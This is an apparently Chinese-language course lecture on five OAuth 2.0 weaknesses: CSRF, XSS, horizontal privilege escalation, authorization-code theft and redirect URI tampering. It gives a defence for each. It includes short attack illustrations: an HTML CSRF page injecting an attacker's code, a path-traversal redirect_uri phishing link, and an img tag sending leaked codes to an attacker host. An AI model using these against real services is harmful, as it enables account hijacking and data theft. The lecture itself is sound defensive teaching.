17 KiB
08 | 实践OAuth 2.0时，使用不当可能会导致哪些安全漏洞？
你好，我是王新栋。
当知道这一讲的主题是OAuth 2.0的安全漏洞时，你可能要问了：“OAuth 2.0 不是一种安全协议吗，不是保护Web API的吗？为啥OAuth 2.0自己还有安全的问题了呢？”
首先，OAuth 2.0 的确是一种安全协议。这没啥问题，但是它有很多使用规范，比如授权码是一个临时凭据只能被使用一次，要对重定向URI做校验等。那么，如果使用的时候你没有按照这样的规范来实施，就会有安全漏洞了。
其次，OAuth 2.0既然是“生长”在互联网这个大环境中，就一样会面对互联网上常见安全风险的攻击，比如跨站请求伪造（Cross-site request forgery，CSRF）、跨站脚本攻击（Cross Site Scripting，XSS）。
最后，除了这些常见攻击类型外，OAuth 2.0 自身也有可被利用的安全漏洞，比如授权码失窃、重定向URI伪造。
所以，我们在实践OAuth 2.0的过程中，安全问题一定是重中之重。接下来，我挑选了5个典型的安全问题，其中CSRF、XSS、水平越权这三种是互联网环境下常见的安全风险，授权码失窃和重定向URI被篡改属于OAuth2.0“专属”的安全风险。接下来，我就和你一起看看这些安全风险的由来，以及如何应对吧。
CSRF攻击
对于CSRF的定义，《OAuth 2 in Action》这本书里的解释，是我目前看到的最为贴切的解释：恶意软件让浏览器向已完成用户身份认证的网站发起请求，并执行有害的操作，就是跨站请求伪造攻击。
它是互联网上最为常见的攻击之一。我们在实践OAuth2.0的过程，其实就是在构建一次互联网的应用。因此，OAuth 2.0同样也会面临这个攻击。接下来，我通过一个案例和你说明这个攻击类型。
有一个软件 A，我们让它来扮演攻击者，让它的开发者按照正常的流程使用极客时间。当该攻击者授权后，拿到授权码的值 codeA之后，“立即按下了暂停键”，不继续往下走了。那它想干啥呢，我们继续往下看。
这时，有一个第三方软件B，比如咱们的Web版极客时间，来扮演受害者吧。当然最终的受害者是用户，这里是用Web版极客时间来作为被软件A攻击的对象。
极客时间用于接收授权码的回调地址为 https://time.geekbang.org/callback。有一个用户G已经在极客时间的平台登录，且对极客时间进行了授权，也就是用户G已经在极客时间平台上有登录态了。
如果此时攻击者软件A，在自己的网站上构造了一个恶意页面：
<html>
<img src ="https://time.geekbang.org/callback？code=codeA">
</html>
如果这个时候用户G被攻击者软件A诱导而点击了这个恶意页面，那结果就是，极客时间使用codeA值去继续OAuth 2.0的流程了。这其实就走完了一个CSRF攻击的过程，如下图所示：
如果我们将OAuth 2.0用于了身份认证，那么就会造成严重的后果，因为用户G使用的极客时间的授权上下文环境跟攻击者软件A的授权上下文环境绑定在了一起。为了解释两个上下文环境绑定在一起可能带来的危害，我们还是拿极客时间来举例。
假如，极客时间提供了用户账号和微信账号做绑定的功能，也就是说用户先用自己的极客时间的账号登录，然后可以绑定微信账号，以便后续可以使用微信账号来登录。在绑定微信账号的时候，微信会咨询你是否给极客时间授权，让它获取你在微信上的个人信息。这时候，就需要用到OAuth 2.0的授权流程。
如果攻击者软件A，通过自己的极客时间账号事先做了上面的绑定操作，也就是说攻击者已经可以使用自己的微信账号来登录极客时间了。那有一天，软件A想要“搞事情”了，便在发起了一个授权请求后构造了一个攻击页面，里面包含的模拟代码正如我在上面描述的那样，来诱导用户G点击。
而用户G已经用极客时间的账号登录了极客时间，此时正要去做跟微信账号的绑定。如果这个时候他刚好点击了攻击者A“种下”的这个恶意页面，那么后面换取授权的访问令牌access_token，以及通过accces_token获取的信息就都是攻击者软件A的了。
这就相当于，用户G将自己的极客时间的账号跟攻击者软件A的微信账号绑定在了一起。这样一来，后续攻击者软件A就能够通过自己的微信账号，来登录用户G的极客时间了。这个后果可想而知。
那如何避免这种攻击呢？方法也很简单，实际上OAuth 2.0中也有这样的建议，就是使用state参数，它是一个随机值的参数。
还是以上面的场景为例，当极客时间请求授权码的时候附带一个自己生成state参数值，同时授权服务也要按照规则将这个随机的state值跟授权码code一起返回给极客时间。这样，当极客时间接收到授权码的时候，就要在极客时间这一侧做一个state参数值的比对校验，如果相同就继续流程，否则直接拒绝后续流程。
在这样的情况下，软件A要想再发起CSRF攻击，就必须另外构造一个state值，而这个state没那么容易被伪造。这本就是一个随机的数值，而且在生成时就遵从了被“猜中”的概率要极小的建议。比如，生成一个6位字母和数字的组合值，显然要比生成一个6位纯数字值被“猜中”的概率要小。所以，软件B通过使用state参数，就实现了一个基本的防跨站请求伪造保护。
我们再来总结下，这个攻击过程本质上就是，软件A（攻击者）用自己的授权码codeA的值，通过CSRF攻击，“替换”了软件B的授权码的值。
接下来，我再给你看一种互联网常见的安全攻击类型，也就是XSS攻击。
XSS攻击
XSS攻击的主要手段是将恶意脚本注入到请求的输入中，攻击者可以通过注入的恶意脚本来进行攻击行为，比如搜集数据等。截止到2020年6月23日，在OWASP（一个开源的Web应用安全项目）上查看安全漏洞排名的话，它依然在TOP10榜单上面，可谓“大名鼎鼎”。
网络上有很多关于XSS的介绍了，我推荐你看看《XSS攻击原理分析与防御技术》这篇文章，它很清晰地分析了XSS的原理以及防御方法。今天，我们主要看看它是怎么在OAuth 2.0的流程中“发挥”的。
当请求抵达受保护资源服务时，系统需要做校验，比如第三方软件身份合法性校验、访问令牌access_token的校验，如果这些信息都不能被校验通过，受保护资源服务就会返回错误的信息。
大多数情况下，受保护资源都是把输入的内容，比如app_id invalid、access_token invalid ，再回显一遍，这时就会被XSS攻击者捕获到机会。试想下，如果攻击者传入了一些恶意的、搜集用户数据的JavaScript 代码，受保护资源服务直接原路返回到用户的页面上，那么当用户触发到这些代码的时候就会遭受到攻击。
因此，受保护资源服务就需要对这类XSS漏洞做修复，而具体的修复方法跟其它网站防御XSS类似，最简单的方法就是对此类非法信息做转义过滤，比如对包含<script>、<img>、<a>等标签的信息进行转义过滤。
CSRF攻击、XSS攻击是我从OWASP网站上挑选的两个最为熟知的两种攻击类型，它们应该是所有Web系统都需要共同防范的。我们在实施OAuth 2.0 架构的时候，也一定要考虑到这层防护，否则就会给用户造成伤害。接下来，我再带着你了解一下水平越权攻击。
水平越权
水平越权是指，在请求受保护资源服务数据的时候，服务端应用程序未校验这条数据是否归属于当前授权的请求用户。这样不法者用自己获得的授权来访问受保护资源服务的时候，就有可能获取其他用户的数据，导致水平越权漏洞问题的发生。攻击者可越权的操作有增加、删除、修改和查询，无论更新操作还是查询操作都有相当的危害性。
这么说可能有些抽象，我们看一个具体的例子。
还是以我们的“小兔打单软件”为例，第三方开发者开发了这款打单软件，目前有两个商家A和商家B购买并使用。现在小兔打单软件上面提供了根据订单ID查询订单数据的功能，如下图所示。
商家A和商家B分别给小兔打单软件应用做了授权，也就是说，小兔打单软件可以获取商家A和商家B的订单数据。此时没有任何问题，**那么商家A可以获取商家B的订单数据吗？**答案是，极有可能的。
在开放平台环境下，授权关系的校验是由一般由开放网关这一层来处理，因为受保护资源服务会散落在各个业务支持部门。请求数据通过开放网关之后由访问令牌access_token获取了用户的身份，比如商家ID，就会透传到受保护资源服务，也就是上游接口提供方的系统。
此时，如果受保护资源服务没有对商家ID和订单ID做归属判断，就有可能发生商家A获取商家B订单数据的问题，造成水平越权问题。
发生水平越权问题的根本原因，还是开发人员的认知与意识不够。如果认知与意识跟得上，那在设计之初增加归属关系判断，比如上面提到的订单ID和商家ID的归属关系判断，就能在很大程度上避免这个漏洞。
同时，在开放平台环境下，由于开放网关和数据接口提供方来自不同的业务部门，防止水平校验的逻辑处理很容易被遗漏：
- 一方面，开放网关的作用是将用户授权之后的访问令牌access_token信息转换成真实的用户信息，比如上面提到的商家ID，然后传递到接口提供方，数据归属判断逻辑只能在接口提供方内部处理；
- 另一方面，数据提供方往往会认为开放出的接口是被“跟自己一个公司的系统所调用的”，容易忽略水平校验的逻辑处理。
所以，在开放平台环境下，我们就要更加重视与防范数据的越权问题。
以上，CSRF攻击、XSS攻击、水平越权这三种攻击类型，它们都属于OAuth 2.0面临的互联网非常常见的通用攻击类型。而对于其他的互联网攻击类型，如果你想深入了解的话，可以看一下这篇安全案例回顾的文章。
接下来，我们再看两种OAuth 2.0专有的安全攻击，分别是授权码失窃、重定向URI被篡改。
授权码失窃
我们举个例子，先来学习授权码失窃这个场景。
如果第三方软件A有合法的app_id和app_secret，那么当它去请求访问令牌的时候，也是合法的。这个时候没有任何问题，让我们继续。
如果有一个用户G对第三方软件B，比如极客时间，进行授权并产生了一个授权码codeB，但并没有对攻击者软件A授权。此时，软件A是不能访问用户G的所有数据的。但这时，如果软件A获取了这个codeB，是不是就能够在没有获得用户G授权的情况下访问用户G的数据了？整个过程如下图所示。
这时问题的根源就在于两点：
- 授权服务在进行授权码校验的时候，没有校验app_id_B；
- 软件B（也就是极客时间）使用过一次codeB的值之后，授权服务没有删除这个codeB；
看到这里，通过校验app_id_B，并删除掉使用过一次的授权码及其对应的访问令牌，就可以从根本上来杜绝授权码失窃带来的危害了。
说到这里，你不禁要问了，授权码到底是怎么失窃的呢？接下来，我要介绍的就是授权码失窃的可能的方法之一，这也是OAuth 2.0中因重定向URI校验方法不当而遭受到的一种危害。这种安全攻击类型，就是重定向URI被篡改。
重定向URI被篡改
有的时候，授权服务提供方并没有对第三方软件的回调URI做完整性要求和完整性校验。比如，第三软件B极客时间的详细回调URI是https://time.geekbang.org/callback，那么在完整性校验缺失的情况下，只要以https://time.geekbang.org开始的回调URI地址，都会被认为是合法的。
此时，如果黑客在https://time.geekbang.org/page/下，创建了一个页面hacker.html。这个页面的内容可以很简单，其目的就是让请求能够抵达攻击者的服务。
<html>
<img src ="https://clientA.com/catch">
</html>
好了，我们继续看下接下来的攻击流程：
首先，黑客将构造的攻击页面放到对应的hacker.html上，也就是https://time.geekbang.org/page/hacker.html上 ，同时构造出了一个新的重定向URI，即https://time.geekbang.org/page/welcome/back.html../hacker.html。
然后，黑客利用一些钓鱼手段诱导用户，去点击下面的这个地址：
https://oauth-server.com/auth?respons_type=code&client_id=CLIENTID&redirect_uri=https://time.geekbang.org/page/welcome/back.html../hacker.html
这样当授权服务做出响应进行重定向请求的时候，授权码code就返回到了hacker.html这个页面上。
最后，黑客在https://clientA.com/catch页面上，解析Referrer头部就会得到用户的授权码，继而就可以像授权码失窃的场景中那样去换取访问令牌了。
看到这里我们就知道了，如果授权服务要求的回调URI是https://time.geekbang.org/callback，并做了回调URI的完整性校验，那么被篡改之后的回调地址https://time.geekbang.org/page/welcome/back.html../hacker.html就不会被授权服务去发起重定向请求。
严格来讲，要发生这样的漏洞问题，条件还是比较苛刻的。从图6的重定向URI被篡改的流程中，也可以看到，只要我们在授权服务验证第三方软件的请求时做了签名校验，那么攻击者在只拿到授权码code的情况下，仍然无法获取访问令牌，因为第三方软件只有通过访问令牌才能够访问用户的数据。
但是，如果这些防范安全风险的规范建议你通通都没有遵守，那就是在给攻击者“大显身手”的机会，让你的应用软件以及用户遭受损失。
总结
好了，以上就是今天的主要内容了。我们一起学习了OAuth 2.0相关的常见又比较隐蔽的5种安全问题，包括CSRF攻击、XSS攻击、水平越权、授权码失窃、重定向URI被篡改。更多关于OAuth 2.0 安全方面的内容，你也可以去翻阅《OAuth 2 in Action》这本书。
通过这一讲的学习，你需要记住以下三个知识点：
- 互联网场景的安全攻击类型比如CSRF、XSS等，在OAuth 2.0中一样要做防范，因为OAuth 2.0本身就是应用在互联网场景中。
- 除了常见的互联网安全攻击，OAuth 2.0也有自身的安全风险问题，比如我们讲到的授权码失窃、重定向URI被篡改。
- 这些安全问题，本身从攻击的“技术含量”上并不高，但导致这些安全风险的因素，往往就是开发人员的安全意识不够。比如，没有意识到水平越权中的数据归属逻辑判断，需要加入到代码逻辑中。
其实，OAuth 2.0 的规范里面对这些安全问题都有对应的规避方式，但都要求我们使用的时候一定要非常严谨。比如，重定向URI的校验方式，规范里面是允许模糊校验的，但在结合实际环境的时候，我们又必须做到精确匹配校验才可以保障OAuth 2.0流转的安全性。
最后，我还整理了一张知识脑图，总结了这5种攻击方式的内容，来帮助你理解与记忆。
思考题
-
今天我们讲的这些安全问题，都是站在“守”的一方，并没有告诉你如何 “绞尽脑汁” 地利用漏洞。所谓“知己知彼，百战不殆”，现在你站在“攻”的一方来考虑下，除了重定向URI被篡改，还有什么其它的授权码被盗的场景吗？
-
你认为还有哪些安全风险，是专属于OAuth 2.0的吗？
欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。